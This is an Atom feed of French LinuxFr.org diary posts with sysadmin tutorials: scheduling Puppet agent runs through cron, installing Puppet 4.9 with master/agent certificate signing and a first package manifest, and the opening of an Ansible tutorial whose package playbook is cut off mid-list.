tag:linuxfr.org,2005:/users/skhaenLinuxFr.org : les contenus de skhaen2017-05-31T22:52:16+02:00/favicon.pngtag:linuxfr.org,2005:Diary/373182017-05-20T14:14:34+02:002017-05-20T14:14:34+02:00Puppet [2] : run puppet et cronLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<p>Publié à l'origine sur <a href="https://www.cyphercat.eu/puppet-partie-2/">cyphercat.eu/puppet-partie-2</a>.</p>
<h2 id="lancer-un-run-puppet-avec-cron">Lancer un run puppet avec cron</h2>
<p>Lancement automatique du run puppet sur les nodes avec <a href="https://docs.puppet.com/puppet/latest/types/cron.html">cron</a> toutes les heures :</p>
<blockquote>
<p><strong>note</strong> : chaque tache cron ajouté nativement par puppet sera mis dans <code>crontab</code>, vous pouvez les <strong>l</strong>ister avec <code>crontab -l</code> sur vos nodes. </p>
</blockquote>
<pre><code class="puppet"> <span class="nc">cron</span> <span class="p">{</span> <span class="s2">"puppet"</span><span class="p">:</span>
<span class="nt">ensure</span> <span class="p">=></span> <span class="ss">present</span><span class="p">,</span>
<span class="nt">command</span> <span class="p">=></span> <span class="s1">'puppet agent -t --onetime --http_read_timeout 2m --logdest /var/log/puppetlabs/puppet/puppet`/bin/date +\\%Y\\%m\\%d\\%H\\%M`.log 1>/dev/null 2>&1'</span><span class="p">,</span>
<span class="nt">user</span> <span class="p">=></span> <span class="s1">'root'</span><span class="p">,</span>
<span class="nt">minute</span> <span class="p">=></span> <span class="nf">fqdn_rand</span><span class="p">(</span><span class="m">60</span><span class="p">),</span>
<span class="nt">require</span> <span class="p">=></span> <span class="nc">File</span><span class="p">[</span><span class="s1">'/var/log/puppet'</span><span class="p">],</span>
<span class="p">}</span></code></pre>
<p>Si vous souhaites voir le détail des options, c'est sur <a href="https://docs.puppet.com/puppet/latest/configuration.html#httpreadtimeout">configuration.html</a>. Le <code>$fqdn_rand(60)</code> (cf. <a href="https://docs.puppet.com/puppet/latest/function.html#fqdnrand">#fqdnrand</a>, permet d'indiquer aléatoirement une valeur de 0 à 60 (la valeur max étant non inclus selon la documentation) pour la configuration du cron.</p>
<p>Cette méthode permet d'éviter d'avoir tout les runs qui se lancent au meme moment, ce qui pourrait surchager le master.</p>
<blockquote>
<p><strong>ATTENTION</strong> : Si vous des anciennes versions de Puppet sur vos nodes (2.7 sur Debian wheezy sans les backports par exemple), certaines options peuvent ne pas passer : n'hésitez pas à vérifier ce qui est valide/obsolète et à tester. </p>
</blockquote>
<ul>
<li>On n'oublie pas de vérifier que le <a href="https://docs.puppet.com/puppet/latest/type.html#file">dossier</a> <code>/var/log/puppet</code> est bien présent (les <a href="https://docs.puppet.com/puppet/4.8/services_agent_unix.html#logging">logs, c'est la vie</a>) :</li>
</ul><pre><code> file { "/var/log/puppetlabs/puppet":
ensure => directory,
owner => puppet,
group => puppet,
mode => '0750',
}
</code></pre>
<ul>
<li>on ajoute une tache planifié pour supprimer automatiquement les logs après 3 jours toutes les nuits à 1h :</li>
</ul><pre><code>cron { "remove-puppet-log":0
ensure => present,
command => "find /var/log/puppetlabs/puppet/ -type f -iname \"puppetd*log\" -mtime +3 -delete",
user => 'root',
hour => 1,
minute => fqdn_rand(60);
}
</code></pre>
<ul>
<li>puis on vérifie bien que le <code>service</code> puppet est arreté lors de chaque run (on souhaite une gestion des run via cron, et non via le daemon) :</li>
</ul><pre><code> service { puppet:
ensure => stopped,
hasstatus => true
}
</code></pre>
<p>Publié à l'origine sur <a href="https://www.cyphercat.eu/puppet-partie-2/">cyphercat.eu/puppet-partie-2</a>.</p><div><a href="https://linuxfr.org/users/skhaen/journaux/puppet-2-run-puppet-et-cron.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/111913/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/users/skhaen/journaux/puppet-2-run-puppet-et-cron#comments">ouvrir dans le navigateur</a>
</p>
skhaenhttps://linuxfr.org/nodes/111913/comments.atomtag:linuxfr.org,2005:Diary/371322017-02-14T10:18:32+01:002017-02-14T11:23:44+01:00Déploiement et automatisation avec Puppet 4.9 - partie 1 Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li>
<a href="#installation">Installation</a><ul>
<li>
<a href="#master--puppetserver">MASTER / </a><a href="https://github.com/puppetlabs/puppetserver">puppetserver</a>
</li>
<li><a href="#slave--puppet-agent-node">SLAVE / puppet-agent (node)</a></li>
</ul>
</li>
<li>
<a href="#un-peu-de-configuration">Un peu de configuration</a><ul>
<li><a href="#puppetconf">puppet.conf</a></li>
</ul>
</li>
<li>
<a href="#ajouter-un-node-au-master">Ajouter un node au master</a><ul>
<li><a href="#sur-le-slave">sur le SLAVE</a></li>
<li><a href="#sur-le-master">Sur le MASTER</a></li>
</ul>
</li>
<li><a href="#troubleshooting-install">Troubleshooting (install)</a></li>
<li>
<a href="#premier-manifest">Premier manifest</a><ul>
<li><a href="#sur-le-master-1">sur le MASTER</a></li>
</ul>
</li>
</ul><ul>
<li>partie 1 : installation et 1er manifest.</li>
<li>original : <a href="https://www.cyphercat.eu/deploiement-et-automatisation-avec-puppet-partie-1/">www.cyphercat.eu/deploiement-et-automatisation-avec-puppet-partie-1</a>
</li>
</ul><p>Puppet est l'outil de gestion de configuration le plus connu, il a vu le jour en 2005, bien avant ses principaux concurrents (2009 pour <a href="https://en.wikipedia.org/wiki/Chef_(software)">Chef</a>, 2011 pour <a href="https://en.wikipedia.org/wiki/Salt_(software)">Salt</a>, 2012 pour <a href="https://en.wikipedia.org/wiki/Ansible_(software)">Ansible</a>). Il propose depuis maintenant longtemps une solution open-source en parallèle de la version entreprise (qui est évidemment payante) et il a eu le temps de grandir pour atteindre une taille plus que respectable.</p>
<p>Au contraire d'Ansible où ça reste plutôt simple pour le moment, les premières recherches que vous allez faire ont toutes les chances de vous laisser quelque part entre "mais je commence par quoi bordel ?!" et "mais… mais… c'est horriblement compliqué". Parce que oui, évidemment, en plus de 10 ans le logiciel a eu le temps de se développer, sa communauté aussi et quand on parle maintenant de puppet certains termes comme <a href="https://github.com/puppetlabs/control-repo">control-repo</a>, <a href="https://github.com/puppetlabs/r10k">R10K</a>, <a href="https://docs.puppet.com/puppetdb/">puppetdb</a>, <a href="https://docs.puppet.com/hiera/">hiera</a>, <a href="https://puppet.com/blog/unit-testing-rspec-puppet-for-beginners">rspec</a>, <a href="https://forge.puppet.com/">modules</a>, <a href="http://librarian-puppet.com/">librarian-puppet</a> reviennent souvent.</p>
<p>Si vous vous posez la question, oui, c'est le bon moment pour se faire un thé (et je veux bien un <a href="https://www.tripadvisor.com/Restaurant_Review-g187147-d1174565-Reviews-Maison_des_trois_thes-Paris_Ile_de_France.html">rubis birman</a> pendant que l'on y est).</p>
<p>Avant de continuer, n'oubliez pas que :</p>
<ul>
<li>il y a une seule chose importante à retenir pour le moment : la documentation est sur <a href="https://docs.puppet.com/puppet/4.8/install_pre.html">docs.puppet.com</a>.</li>
<li>mon serveur "master" se nomme <code>master.cyphercat.eu</code>
</li>
<li>mon serveur "slave1" ou "node1" s'appelle <code>slave1.cyphercat.eu</code>
</li>
</ul><p>N'oubliez donc pas de changer les noms des serveurs avez les vôtres au fur et à mesure de cet article. <strong>Je vous déconseille BEAUCOUP de tenter le coup avec des configurations dans <code>/etc/hosts</code></strong>, vous avez toutes les chances que ça foutent une pagaille mémorable avec les certificats (je viens de tester chez <a href="https://www.scaleway.com/">scaleway</a>).</p>
<h2 id="installation">Installation</h2>
<p>Nous allons installer un <code>puppet-server</code> (que l'on pourrait appeler serveur maitre), c'est lui qui s'occupera de tout orchestrer. Puis, sur chaque node, on installera <code>puppet-agent</code>, ce qui leur permettra de communiquer avec le master.</p>
<p>PuppetLabs met à disposition <a href="https://docs.puppet.com/puppet/4.9/puppet_collections.html">puppet-collection</a> pour les installations, c'est un <a href="https://puppet.com/blog/welcome-to-puppet-collections">ensemble d'outils</a> (par exemple facter, hiera, ruby, openssl et mcollective pour puppet-agent) packagés. En utilisant ceci, nous sommes donc sûr d'avoir des logiciels compatibles entre eux.</p>
<h3 id="master--puppetserver">MASTER / <a href="https://github.com/puppetlabs/puppetserver">puppetserver</a>
</h3>
<p>Vous pouvez voir les détails sur <a href="https://docs.puppet.com/puppetserver/2.7/install_from_packages.html">puppet-server</a> et sur <a href="https://docs.puppet.com/puppet/latest/puppet_collections.html">puppet_collections</a>, nous allons faire ici une installation la plus simple possible (ah ah) sur une debian 8 (Jessie).</p>
<pre><code class="bash">root@master:# wget https://apt.puppetlabs.com/puppetlabs-release-pc1-jessie.deb
dpkg -i puppetlabs-release-pc1-jessie.deb
root@master:# apt-get update
root@master:# apt-get install puppetserver</code></pre>
<p>Puis on démarre le service (si ça plante, allez voir la section "<em><a href="https://docs.puppet.com/puppetserver/2.7/install_from_packages.html#memory-allocation">memory allocation</a></em>") :</p>
<pre><code class="bash">root@master:# service puppetserver start</code></pre>
<p><strong>Attention !</strong> <code>dpkg -l|grep puppet</code> nous donne les résultats suivants :</p>
<pre><code class="bash">puppet-agent <span class="m">1</span>.9.1-1jessie
puppetlabs-release-pc1 <span class="m">1</span>.1.0-4jessie
puppetserver <span class="m">2</span>.7.2-1puppetlabs1</code></pre>
<p>On pourrait donc croire que l'on se retrouve avec un puppet v2.7 (on en est à la v4)… mais point du tout : <a href="https://docs.puppet.com/puppetserver/">Puppet Server 2.x supporte Puppet 4, alors que Puppet Server 1.x supporte Puppet 3.x et supérieur</a>.</p>
<h3 id="slave--puppet-agent-node">SLAVE / puppet-agent (node)</h3>
<p>Vous pouvez voir les détails sur <a href="https://docs.puppet.com/puppet/4.8/install_linux.html">puppet-agent</a>, l'installation se passe aussi sur une Debian 8 (Jessie) :</p>
<pre><code class="bash">root@slave1:# wget https://apt.puppetlabs.com/puppetlabs-release-pc1-jessie.deb
root@slave1:# dpkg -i puppetlabs-release-pc1-jessie.deb
root@slave1:# apt-get update
root@slave1:# apt-get install puppet-agent</code></pre>
<h2 id="un-peu-de-configuration">Un peu de configuration</h2>
<p>Voici une bonne chose de faite. En lisant la doc vous verrez que les <a href="https://docs.puppet.com/puppet/4.8/install_linux.html#confirm-you-can-run-puppet-executables">exécutables de puppet</a> sont maintenant dans <code>/opt/puppetlabs/bin/</code> (ce qui n'est pas dans notre <a href="https://fr.wikipedia.org/wiki/Variable_d%27environnement#.3CPATH.3E_pour_l.27emplacement_des_ex.C3.A9cutables">PATH</a> par défaut). Pour régler ce problème pour le moment :</p>
<pre><code class="bash">root@slave1:# <span class="nv">PATH</span><span class="o">=</span>/opt/puppetlabs/bin:<span class="nv">$PATH</span></code></pre>
<h3 id="puppetconf">puppet.conf</h3>
<blockquote>
<p>Pour les détails sur le fichier <code>puppet.conf</code>, voir <a href="https://docs.puppet.com/puppet/4.9/config_file_main.html">config_file_main.html</a></p>
<ul>
<li><a href="https://docs.puppet.com/puppet/4.9/config_file_main.html#example-agent-config">exemple de configuration pour un agent</a></li>
<li><a href="https://docs.puppet.com/puppet/4.9/config_file_main.html#example-master-config">exemple de configuration pour un master</a></li>
</ul>
</blockquote>
<p>Par <a href="https://docs.puppet.com/puppet/4.8/config_important_settings.html#settings-for-agents-all-nodes">défaut</a>, un node recherche son master sur un serveur qui s’appelle "puppet". Nous allons donc ajouter deux lignes pour spécifier notre configuration dans <code>/etc/puppetlabs/puppet/puppet.conf</code>sur le slave pour y ajouter ces deux lignes :</p>
<ul>
<li><strong>sur le MASTER</strong></li>
</ul><pre><code class="bash"><span class="o">[</span>main<span class="o">]</span>
<span class="nv">certname</span> <span class="o">=</span> master.cyphercat.eu
<span class="nv">server</span> <span class="o">=</span> puppetmaster
<span class="o">[</span>master<span class="o">]</span>
<span class="nv">dns_alt_names</span> <span class="o">=</span> puppet,puppetmaster,master.cyphercat.eu
<span class="nv">vardir</span> <span class="o">=</span> /opt/puppetlabs/server/data/puppetserver
<span class="nv">logdir</span> <span class="o">=</span> /var/log/puppetlabs/puppetserver
<span class="nv">rundir</span> <span class="o">=</span> /var/run/puppetlabs/puppetserver
<span class="nv">pidfile</span> <span class="o">=</span> /var/run/puppetlabs/puppetserver/puppetserver.pid
<span class="nv">codedir</span> <span class="o">=</span> /etc/puppetlabs/code</code></pre>
<ul>
<li><strong>sur le SLAVE</strong></li>
</ul><pre><code class="bash"><span class="o">[</span>main<span class="o">]</span>
<span class="nv">certname</span> <span class="o">=</span> slave1.cyphercat.eu
<span class="nv">server</span> <span class="o">=</span> master.cyphercat.eu
<span class="nv">environment</span> <span class="o">=</span> production</code></pre>
<h2 id="ajouter-un-node-au-master">Ajouter un node au master</h2>
<p>Vous êtes prêt-e-s ? Il existe <a href="https://docs.puppet.com/puppet/4.8/install_linux.html#start-the-puppet-service">2 méthodes</a> pour dire à un node de se connecter au master, la première en "tâche de fond", et la seconde "à la main" que l'on peut mettre en <a href="https://fr.wikipedia.org/wiki/Cron">cron</a>.</p>
<h3 id="sur-le-slave">sur le SLAVE</h3>
<p>Utilisons la commande manuelle pour voir ce qui se passe :</p>
<pre><code class="bash">root@slave1:# /opt/puppetlabs/bin/puppet agent --test
Info: Creating a new SSL key <span class="k">for</span> slave1.cyphercat.eu
Info: Caching certificate <span class="k">for</span> ca
Info: csr_attributes file loading from /etc/puppetlabs/puppet/csr_attributes.yaml
Info: Creating a new SSL certificate request <span class="k">for</span> slave1.cyphercat.eu
Info: Certificate Request fingerprint <span class="o">(</span>SHA256<span class="o">)</span>: <span class="m">55</span>:A1:EE:A6:1D:D2:85:9D:7F:5F:69:72:7E:BF:54:BA:74:BD:7F:8E:43:0D:AC:A1:D1:1B:4A:FF:4A:F6:54:3B
Info: Caching certificate <span class="k">for</span> ca
Exiting<span class="p">;</span> no certificate found and waitforcert is disabled</code></pre>
<p>Ce qui veut dire que :</p>
<ol>
<li>slave1 a créé un certificat pour lui et il arrive à se connecter au master</li>
<li>le master ne veut pas de lui vu qu'il ne le connaît pas, nous allons donc régler ça.</li>
</ol><h3 id="sur-le-master">Sur le MASTER</h3>
<pre><code class="bash">root@master:# /opt/puppetlabs/bin/puppet cert list
<span class="s2">"slave1.cyphercat.eu"</span> <span class="o">(</span>SHA256<span class="o">)</span> <span class="m">55</span>:A1:EE:A6:1D:D2:85:9D:7F:5F:69:72:7E:BF:54:BA:74:BD:7F:8E:43:0D:AC:A1:D1:1B:4A:FF:4A:F6:54:3B</code></pre>
<p>Bonne nouvelle, le premier contact a vraiment eu lieu ! Le MASTER a bien reçu le certificat de SLAVE, et il nous attend pour le <a href="https://docs.puppet.com/puppet/4.8/install_linux.html#sign-certificates-on-the-ca-master">valider</a> avec la commande suivante :</p>
<pre><code class="bash">/opt/puppetlabs/bin/puppet cert sign slave1.cyphercat.eu
Signing Certificate Request <span class="k">for</span>:
<span class="s2">"slave1.cyphercat.eu"</span> <span class="o">(</span>SHA256<span class="o">)</span> <span class="m">55</span>:A1:EE:A6:1D:D2:85:9D:7F:5F:69:72:7E:BF:54:BA:74:BD:7F:8E:43:0D:AC:A1:D1:1B:4A:FF:4A:F6:54:3B
Notice: Signed certificate request <span class="k">for</span> slave1.cyphercat.eu
Notice: Removing file Puppet::SSL::CertificateRequest slave1.cyphercat.eu at <span class="s1">'/etc/puppetlabs/puppet/ssl/ca/requests/slave1.cyphercat.eu.pem'</span></code></pre>
<p>Et si on relance notre <code>puppet agent -t</code> sur le slave :</p>
<pre><code class="bash">root@slave1:# /opt/puppetlabs/bin/puppet agent --test
Info: Caching certificate <span class="k">for</span> slave1.cyphercat.eu
Info: Caching certificate_revocation_list <span class="k">for</span> ca
Info: Caching certificate <span class="k">for</span> slave1.cyphercat.eu
Info: Using configured environment <span class="s1">'production'</span>
Info: Retrieving pluginfacts
Info: Retrieving plugin
Info: Caching catalog <span class="k">for</span> slave1.cyphercat.eu
Info: Applying configuration version <span class="s1">'1486920585'</span>
Info: Creating state file /opt/puppetlabs/puppet/cache/state/state.yaml
Notice: Applied catalog in <span class="m">0</span>.07 seconds</code></pre>
<h2 id="troubleshooting-install">Troubleshooting (install)</h2>
<p>Vous avez peut être rencontré des problèmes au cours de cette installation, je vous conseille de regarder les points suivants pour vous aider à trouver une solution :</p>
<ul>
<li>
<a href="https://docs.puppet.com/puppet/latest/config_important_settings.html#basics-1">dns_alt_names</a> : liste de noms que votre <strong>master</strong> peut utiliser? Le nom que vos nodes utilisent (puppet, puppetmaster, master.cyphercat.eu…) <strong>DOIT</strong> etre inclus dedans ainsi que dans son certificat (voir aussi <a href="https://docs.puppet.com/puppet/latest/configuration.html#dnsaltnames">dnsaltnames</a>),</li>
<li><a href="https://docs.puppet.com/puppet/4.9/config_file_main.html">puppet.conf</a></li>
<li>Configuration: <a href="https://docs.puppet.com/puppet/4.9/config_important_settings.html">Short list of important settings</a>
</li>
<li>
<a href="https://www.cyphercat.eu/puppet-troubleshooting/">puppet troubleshooting</a> ou l'<a href="https://docs.google.com/presentation/d/1AT2j97HV_y2QNH_HFKwZ6ExQDKvfC_lt6qBZaai4ATo/edit#slide=id.p">original</a> (bon courage)</li>
</ul><h2 id="premier-manifest">Premier manifest</h2>
<p>Personnellement, j'aime bien avoir <a href="https://www.puppetcookbook.com/posts/install-multiple-packages.html">mes outils</a> sur mes serveurs, ainsi que quelques raccourcis, commençons donc par ça :</p>
<h3 id="sur-le-master-1">sur le MASTER</h3>
<pre><code class="bash"><span class="nb">cd</span> /etc/puppetlabs/code/environments/production/manifests</code></pre>
<ul>
<li>Nous créons le fichier <code>site.pp</code> pour <a href="https://docs.puppet.com/puppet/4.8/lang_node_definitions.html">déclarer notre node</a> et ce qu'il devra utiliser :</li>
</ul><pre><code class="bash"><span class="c1"># /etc/puppetlabs/puppet/manifests/site.pp</span>
node <span class="s1">'slave1.cyphercat.eu'</span> <span class="o">{</span>
include common
<span class="o">}</span></code></pre>
<ul>
<li>et nous allons faire notre premier manifest pour installer des paquets dans le fichier <code>common.pp</code> que nous créons aussi :</li>
</ul><pre><code class="bash">class common <span class="o">{</span>
<span class="nv">$packages_list</span> <span class="o">=</span> <span class="o">[</span>
<span class="s1">'apt-transport-https'</span>,
<span class="s1">'bzip2'</span>,
<span class="s1">'curl'</span>,
<span class="s1">'deborphan'</span>,
<span class="s1">'htop'</span>,
<span class="s1">'less'</span>,
<span class="s1">'lsof'</span>,
<span class="s1">'ncdu'</span>,
<span class="s1">'pbzip2'</span>,
<span class="s1">'pigz'</span>,
<span class="s1">'pwgen'</span>,
<span class="s1">'rpl'</span>,
<span class="s1">'screen'</span>,
<span class="s1">'strace'</span>,
<span class="s1">'sudo'</span>,
<span class="s1">'tar'</span>,
<span class="s1">'unzip'</span>,
<span class="s1">'vim'</span>,
<span class="s1">'wget'</span>,
<span class="s1">'whois'</span>,
<span class="s1">'zip'</span>
<span class="o">]</span>
package <span class="o">{</span>
<span class="nv">$packages_list</span>:
<span class="nv">ensure</span> <span class="o">=</span>> <span class="s1">'installed'</span>
<span class="o">}</span>
<span class="o">}</span></code></pre>
<p>Puis nous relançons notre commande <code>/opt/puppetlabs/bin/puppet agent -t</code> sur notre slave1. Si vous n'avez pas d'erreurs, vous devriez voir quelque comme ceci qui s'affiche :</p>
<pre><code>Info: Using configured environment 'production'
Info: Retrieving pluginfacts
Info: Retrieving plugin
Info: Caching catalog for slave1.cyphercat.eu
Info: Applying configuration version '1486926845'
Notice: /Stage[main]/Common/Package[deborphan]/ensure: created
Notice: /Stage[main]/Common/Package[ncdu]/ensure: created
Notice: /Stage[main]/Common/Package[pbzip2]/ensure: created
Notice: /Stage[main]/Common/Package[pigz]/ensure: created
Notice: /Stage[main]/Common/Package[pwgen]/ensure: created
Notice: /Stage[main]/Common/Package[rpl]/ensure: created
Notice: /Stage[main]/Common/Package[strace]/ensure: created
Notice: /Stage[main]/Common/Package[unzip]/ensure: created
Notice: /Stage[main]/Common/Package[whois]/ensure: created
Notice: /Stage[main]/Common/Package[zip]/ensure: created
Notice: Applied catalog in 39.43 seconds
</code></pre>
<p>Et voilà pour aujourd'hui !</p>
<p>À noter que :</p>
<ul>
<li>Vous pouvez utiliser la commande <code>puppet parser validate common.pp</code> si vous voulez voir si vous avez fait des erreurs de syntaxe.</li>
<li>Vous pouvez utiliser <a href="http://puppet-lint.com/">puppet-lint</a> pour voir si vous avez fait des erreurs de style.</li>
</ul><div><a href="https://linuxfr.org/users/skhaen/journaux/deploiement-et-automatisation-avec-puppet-4-9-partie-1.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/111251/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/users/skhaen/journaux/deploiement-et-automatisation-avec-puppet-4-9-partie-1#comments">ouvrir dans le navigateur</a>
</p>
skhaenhttps://linuxfr.org/nodes/111251/comments.atomtag:linuxfr.org,2005:Diary/370802017-01-07T23:11:51+01:002017-01-14T22:44:01+01:00Déploiement et automatisation avec Ansible - partie 1Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li>
<a href="#installation">Installation</a><ul>
<li>
<a href="#sur-debian">sur </a><a href="https://docs.ansible.com/ansible/intro_installation.html#latest-releases-via-apt-debian">Debian</a>
</li>
<li>
<a href="#sur-ubuntu">sur</a><a href="https://docs.ansible.com/ansible/intro_installation.html#latest-releases-via-apt-ubuntu"> Ubuntu</a>
</li>
</ul>
</li>
<li>
<a href="#inventory--hosts">Inventory / hosts</a><ul>
<li><a href="#ping">ping</a></li>
<li><a href="#test-ssh">test SSH</a></li>
<li><a href="#et-mon-uptime">et mon uptime ?</a></li>
</ul>
</li>
<li><a href="#installation-dune-liste-de-paquets">Installation d'une liste de paquets</a></li>
<li>
<a href="#debug">Debug</a><ul>
<li><a href="#lindentation">L'indentation</a></li>
<li><a href="#la-syntaxe-yaml">La syntaxe YAML</a></li>
</ul>
</li>
</ul></li>
</ul><p>Au programme de cette année : l'automatisation ! Il existe plusieurs outils connus pour ça, vous en avez sans aucun doute entendu parler si vous êtes adminsys : <a href="https://puppet.com">Puppet</a>, <a href="https://www.chef.io/chef/">Chef</a>, <a href="https://saltstack.com/">Salt</a> et le petit dernier : <a href="https://www.ansible.com/">Ansible</a>. </p>
<p>Ansible a la réputation d'être le plus "accessible" avec une courbe d'apprentissage assez basse. Il peut être pertinent de l'utiliser à partir d'un seul serveur pour faciliter des déploiements selon les besoins (configuration des outils basique, serveur web, BDD…).</p>
<p>Au contraire des trois autres, il n'utilise pas d'agents (<em><a href="https://www.ansible.com/benefits-of-agentless-architecture">agentless</a></em>), c'est à dire que rien n'a besoin de tourner côté serveur pour le faire fonctionner, ce qui le rend <em>de facto</em> plus facile à mettre en place. <strong>Il requiert seulement un accès SSH et python sur les serveur</strong>.</p>
<p>Toujours concernant Ansible (bien entendu), on parle souvent d'<strong><a href="https://fr.wikipedia.org/wiki/Idempotence">idempotence</a></strong>, ce qui signifie qu'une opération a le même effet qu'on l'applique une ou plusieurs fois.</p>
<p>Les recettes utilisent du <a href="https://docs.ansible.com/ansible/YAMLSyntax.html">YAML</a> et <a href="https://docs.ansible.com/ansible/playbooks_filters.html">Jinja2</a> pour les templates. L'utilisation de YAML permet d'avoir des recettes normalement facile à lire et à comprendre. À noter aussi que grâce au (ou à cause du) YAML, l'indentation est primordiale et source de bug si elle n'est pas respecté comme on le verra plus tard.</p>
<p>Au programme aujourd'hui :</p>
<ul>
<li>installation d'Ansible (<strong>v2.2.0.0</strong>)</li>
<li>tests de connexions aux serveurs</li>
<li>installation de quelques paquets</li>
<li>debug et tests</li>
</ul><h3 id="installation">Installation</h3>
<p>Si vous avez besoin d'autre chose, ça devrait être dans <a href="https://docs.ansible.com/ansible/intro_installation.html">la documentation</a>.</p>
<h4 id="sur-debian">sur <a href="https://docs.ansible.com/ansible/intro_installation.html#latest-releases-via-apt-debian">Debian</a>
</h4>
<p>Vous pouvez l'installer directement via les dépôts, mais ce sont évidemment des versions anciennes (cf. <a href="https://packages.debian.org/search?keywords=ansible">packages.debian.org</a>), pour avoir une version plus récente, ajouter la ligne suivante à <code>/etc/apt/sources.list.d/ansible.list</code> :</p>
<pre><code>deb http://ppa.launchpad.net/ansible/ansible/ubuntu trusty main
</code></pre>
<p>Puis il suffira de lancer les commandes suivantes :</p>
<pre><code>sudo apt-get update
sudo apt-get install ansible
</code></pre>
<h4 id="sur-ubuntu">sur<a href="https://docs.ansible.com/ansible/intro_installation.html#latest-releases-via-apt-ubuntu"> Ubuntu</a>
</h4>
<pre><code>sudo apt-get install software-properties-common
sudo apt-add-repository ppa:ansible/ansible
sudo apt-get update
sudo apt-get install ansible
</code></pre>
<p>Il suffit ensuite d'aller dans <code>/etc/ansible/</code> pour la suite :</p>
<pre><code>cd /etc/ansible/
</code></pre>
<p>nous avons normalement 2 fichiers et un dossier :</p>
<ul>
<li>
<strong><a href="https://docs.ansible.com/ansible/intro_configuration.html">ansible.cfg</a></strong> : la configuration d'ansible, celle par défaut nous convient parfaitement bien pour le moment, mais ça peut valoir le coup d'y jeter un coup d'oeil pour voir ce que l'on peut faire.</li>
<li>
<strong><a href="https://docs.ansible.com/ansible/intro_inventory.html">hosts</a></strong> : c'est dans ce fichier que nous allons indiquer nos serveurs, étape obligatoire pour la suite.</li>
<li>
<strong><a href="https://docs.ansible.com/ansible/playbooks_roles.html">roles</a></strong> : ce dossier nous servira surtout par la suite quand on commencera à avoir plusieurs rôles à nos <em><a href="https://docs.ansible.com/ansible/playbooks_roles.html">playbooks</a></em>.</li>
</ul><h3 id="inventory--hosts">Inventory / hosts</h3>
<p>Dans <code>/etc/ansible/</code>, donc, éditons notre fichier <code>hosts</code>. Nous pouvons y déclarer nos serveurs individuellement ou par groupe, par exemple :</p>
<pre><code>serveur1.exemple.org
serveur2.exemple.org
preprod.elysee.org
8.253.9.125
[web]
skhn-web-nginx-01
skhn-web-nginx-02
[seedbox]
skhn-seedbox-01
</code></pre>
<p>Voici ma configuration actuelle, à noter que j'ai modifié mon <code>/etc/hosts</code> et mon <code>.ssh/config</code> pour que ça pointe vers les bons serveurs <strong>avec les bonnes clés SSH</strong> :</p>
<pre><code>[scaleway]
skhn-001
skhn-002
[seedbox]
sb
</code></pre>
<p>Par la suite, je pourrai ainsi lancer des tâches sur tous les serveurs avec l'option générique <code>all</code> ou par groupe selon vos besoins (web, bdd, wordpress, etc…). Si vous vous posez la question, le premier groupe s'appelle <a href="https://www.scaleway.com/">scaleway</a> car j'ai pris 2 serveurs chez eux pour tester Ansible <sup><sup>).</sup></sup></p>
<h4 id="ping">ping</h4>
<ul>
<li>Avant toute chose, est ce que l'on arrive bien à joindre les serveurs :</li>
</ul><pre><code class="yaml"><span class="l-Scalar-Plain">ansible -m ping all --one-line</span></code></pre>
<p>Ce qui me donne :</p>
<pre><code>skhn-002 | SUCCESS => {"changed": false, "ping": "pong"}
skhn-001 | SUCCESS => {"changed": false, "ping": "pong"}
sb | SUCCESS => {"changed": false, "ping": "pong"}
</code></pre>
<h4 id="test-ssh">test SSH</h4>
<p>Mais est ce que l'on arrive à se connecter au groupe <code>scaleway</code> ? On va en profiter pour récupérer quelques infos :</p>
<pre><code>ansible scaleway -m setup --tree /tmp/facts_servers/
</code></pre>
<p>La sortie de cette commande sera recopiée pour chaque serveur dans <code>/tmp/facts_servers/</code>, vous devriez avoir toutes les informations que vous souhaitez avoir sur vos serveurs ;-)</p>
<h4 id="et-mon-uptime">et mon uptime ?</h4>
<pre><code>ansible all -m command -u root --args "uptime" --one-line
</code></pre>
<p>résultat :</p>
<pre><code>sb | SUCCESS | rc=0 | (stdout) 17:33:14 up 410 days, 21:59, 1 user, load average: 0.21, 0.16, 0.14
skhn-001 | SUCCESS | rc=0 | (stdout) 16:33:14 up 1 day, 2:05, 1 user, load average: 0.00, 0.00, 0.00
skhn-002 | SUCCESS | rc=0 | (stdout) 16:33:14 up 1 day, 2:05, 1 user, load average: 0.00, 0.00, 0.00
</code></pre>
<h3 id="installation-dune-liste-de-paquets">Installation d'une liste de paquets</h3>
<p>J'aime bien avoir certains paquets installé sur tout mes serveurs, Ansible me permet de l'automatiser facilement. On commence par éditer notre nouveau fichier <code>/etc/ansible/roles/skhn_common.yml</code> pour y mettre le bloc suivant :</p>
<pre><code class="yaml"><span class="nn">---</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">hosts</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">all</span>
<span class="l-Scalar-Plain">remote_user</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">root</span>
<span class="l-Scalar-Plain">tasks</span><span class="p-Indicator">:</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">name</span><span class="p-Indicator">:</span> <span class="l-Scalar-Plain">install common packages for all servers</span>
<span class="l-Scalar-Plain">apt</span><span class="p-Indicator">:</span>
<span class="l-Scalar-Plain">update_cache=yes</span>
<span class="l-Scalar-Plain">state=latest</span>
<span class="l-Scalar-Plain">name={{item}}</span>
<span class="l-Scalar-Plain">with_items</span><span class="p-Indicator">:</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">curl</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">htop</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">ncdu</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">pwgen</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">strace</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">sudo</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">tar</span>
